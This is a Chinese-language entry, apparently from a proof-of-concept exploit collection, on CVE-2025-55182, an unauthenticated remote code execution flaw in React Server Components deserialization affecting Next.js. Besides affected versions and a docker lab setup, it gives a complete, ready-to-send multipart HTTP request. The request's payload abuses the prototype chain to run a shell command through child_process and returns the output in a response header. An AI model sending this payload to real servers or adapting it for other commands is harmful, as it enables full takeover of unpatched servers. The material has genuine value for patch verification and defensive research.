Files
Awesome-POC/中间件漏洞/React Server Components Flight 协议反序列化代码执行 CVE-2025-55182.md
2025-12-30 16:50:40 +08:00

3.4 KiB
Raw Permalink Blame History

React Server Components Flight 协议反序列化代码执行 CVE-2025-55182

漏洞描述

React Server Components (RSC) 是 React 的一项功能,允许开发者在服务器上渲染组件并将结果发送给客户端。

React Server Components 中存在一个未授权的远程代码执行漏洞。攻击者可以向任何 Server Function 端点发送精心构造的恶意 HTTP 请求,当 React 对该请求进行反序列化时,即可在服务器上实现远程代码执行。该漏洞影响 react-server-dom-webpack、react-server-dom-parcel 和 react-server-dom-turbopack 的 19.0 到 19.2.0 版本,以及依赖这些包的框架(如 Next.js)。

参考链接:

漏洞影响

受影响版本:

react-server-dom-parcel 19.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-turbopack 19.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-webpack 19.0, 19.1.0, 19.1.1, 19.2.0

安全版本:

react-server-dom-parcel 19.0.1, 19.1.2, 19.2.1
react-server-dom-turbopack 19.0.1, 19.1.2, 19.2.1
react-server-dom-webpack 19.0.1, 19.1.2, 19.2.1

环境搭建

虽然这个漏洞是出现于 React Server Components 中,但 Next.js 作为最流行的 React 框架,在 Next.js 15 版本后已经全面支持 React Server Components。因此,我们可以使用 Next.js 来复现漏洞。

Vulhub 执行如下命令启动一个存在漏洞的 Next.js 15.5.6 服务器:

docker compose up -d

环境启动后,访问 http://your-ip:3000 即可看到应用程序。

漏洞复现

该漏洞是由于 React Server Components 在解码 Payload 时的缺陷导致的。通过在序列化数据中注入特定字段,攻击者可以遍历原型链并执行任意代码。发送如下数据包,即可执行命令 id:

POST / HTTP/1.1
Host: your-ip:3000
Next-Action: x
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoQY2t4UYLMhGH8AS
Content-Length: 141

------WebKitFormBoundaryoQY2t4UYLMhGH8AS
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryoQY2t4UYLMhGH8AS
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryoQY2t4UYLMhGH8AS
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryoQY2t4UYLMhGH8AS--

发送请求后,在响应头的 x-action-redirect 字段中可以看到 id 命令的执行结果:

x-action-redirect: /login?a=uid=0(root) gid=0(root) groups=0(root);push

漏洞修复

升级至最新版本。